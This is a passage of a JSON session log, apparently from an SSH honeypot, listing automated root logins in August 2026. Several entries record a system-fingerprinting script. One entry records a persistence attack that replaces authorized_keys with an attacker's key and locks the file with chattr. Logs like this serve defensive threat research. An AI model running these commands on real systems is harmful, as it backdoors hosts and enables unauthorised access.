2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:46:18.452579+00:00",
  "ended_at": "2026-08-25T14:46:19.162686+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "60b53259-9c56-4de0-b7df-e294c4eb6ffb",
  "name": "placid-frosty-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 44744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:43:17.339665+00:00",
  "ended_at": "2026-08-25T14:43:18.175590+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9564b235-25b1-4f77-a58f-5f7cd8843818",
  "name": "bashful-dutiful-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 17260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:41:18.990705+00:00",
  "ended_at": "2026-08-25T14:41:21.350064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75473b3c-7b11-4578-b143-bf6d32d9ff04",
  "name": "gnarled-brave-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 41610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:40:15.111756+00:00",
  "ended_at": "2026-08-25T14:40:16.168399+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1e24a0e6-61c9-4037-8514-08a805c27580",
  "name": "cheerful-bashful-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 38490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:37:24.312742+00:00",
  "ended_at": "2026-08-25T14:37:25.039209+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b9b9b2b9-89c3-4f81-9cc7-167aff49a1cd",
  "name": "autumn-spirited-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.122.168",
  "src_port": 35356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:34:31.927562+00:00",
  "ended_at": "2026-08-25T14:34:33.676966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53d2cc63-9526-4685-ad69-328f2eb0fb26",
  "name": "meadow-shifting-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 59842,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:32:08.825719+00:00",
  "ended_at": "2026-08-25T14:32:09.310706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06eba7bc-a5a3-44e0-b855-8d8147824d8f",
  "name": "weathered-marine-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.122.168",
  "src_port": 60410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:31:37.117427+00:00",
  "ended_at": "2026-08-25T14:31:38.976811+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4",
  "name": "smooth-wandering-oryx",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 57298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-25T14:30:34.810048+00:00",
  "ended_at": "2026-08-25T14:30:35.596959+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 994
 },
 {
  "id": "a663df6a-3175-4f21-a8f3-98df8a9e9874",
  "name": "sullen-buoyant-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.90.185.20",
  "src_port": 4148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:29:57.219319+00:00",
  "ended_at": "2026-08-25T14:30:03.038732+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e913b3c-41e4-48f3-b32e-3fd55f6e8b15",
  "name": "woven-gentle-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.90.185.20",
  "src_port": 3330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:29:44.987768+00:00",
  "ended_at": "2026-08-25T14:29:49.318864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b85c6072-5d57-4193-83e4-3390d8133dc4",
  "name": "quaint-chilly-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.90.185.20",
  "src_port": 30154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:29:31.446804+00:00",
  "ended_at": "2026-08-25T14:29:36.950036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f432b26a-5648-4a8a-8228-119c02a0923e",
  "name": "wistful-brave-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 37002,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:43:31.111590+00:00",
  "ended_at": "2026-08-25T13:43:32.101573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42d215bc-aac3-4ae8-827e-c1a069d415cb",
  "name": "clever-dutiful-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 18954,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:32:27.419280+00:00",
  "ended_at": "2026-08-25T13:32:31.791145+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52825201-d045-4e5e-b8ba-5ac2046b0780",
  "name": "twilight-sunlit-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 55530,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:15:40.773928+00:00",
  "ended_at": "2026-08-25T13:15:42.304787+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18304c32-22a4-4a5a-b5ab-2cde13fed454",
  "name": "cheerful-mellow-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.113",
  "src_port": 41540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:10:04.959251+00:00",
  "ended_at": "2026-08-25T13:10:06.831646+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09765a44-bbb8-43bc-bd1b-320c2a9963f8",
  "name": "dutiful-nameless-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "31.57.216.7",
  "src_port": 60196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:08:05.944461+00:00",
  "ended_at": "2026-08-25T13:08:07.167246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02a89e4b-0910-4990-96c9-bce5bab983df",
  "name": "restless-vigilant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "216.10.242.215",
  "src_port": 49222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:51:28.687254+00:00",
  "ended_at": "2026-08-25T12:51:28.877929+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3437
 },
 {
  "id": "6d023d6b-8ab3-496a-938e-698374cb9739",
  "name": "reedy-jolly-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 33020,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:51:07.388276+00:00",
  "ended_at": "2026-08-25T12:51:07.774499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "481af4fe-c506-4584-a971-c4d9b5cae8f9",
  "name": "sooty-thorny-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 44330,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:50:50.981999+00:00",
  "ended_at": "2026-08-25T12:50:52.511331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a45afa1f-c5dd-4d64-8983-d2e206e0cc72",
  "name": "orderly-painted-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 57126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:48:17.428571+00:00",
  "ended_at": "2026-08-25T12:48:18.347326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca2d066a-fd67-4467-a998-66bda1d5b7f8",
  "name": "lanky-ashen-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 50104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:45:54.957273+00:00",
  "ended_at": "2026-08-25T12:45:56.976959+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72aa1b04-910f-4afd-a8b9-b0de72da156d",
  "name": "pewter-sunlit-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "115.190.192.112",
  "src_port": 15780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:02:48.372028+00:00",
  "ended_at": "2026-08-25T12:02:50.187821+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d13072a-6392-4350-afe1-812235e2a9f0",
  "name": "solar-primal-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 55168,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:33:19.087108+00:00",
  "ended_at": "2026-08-25T11:34:17.741657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce685590-aa12-4aca-98f3-cdcb79edbe18",
  "name": "prickly-grumpy-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 49692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:32:53.012581+00:00",
  "ended_at": "2026-08-25T11:36:53.537173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6992ee6b-9ea1-403d-a2ce-4283894c0878",
  "name": "mighty-jaunty-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
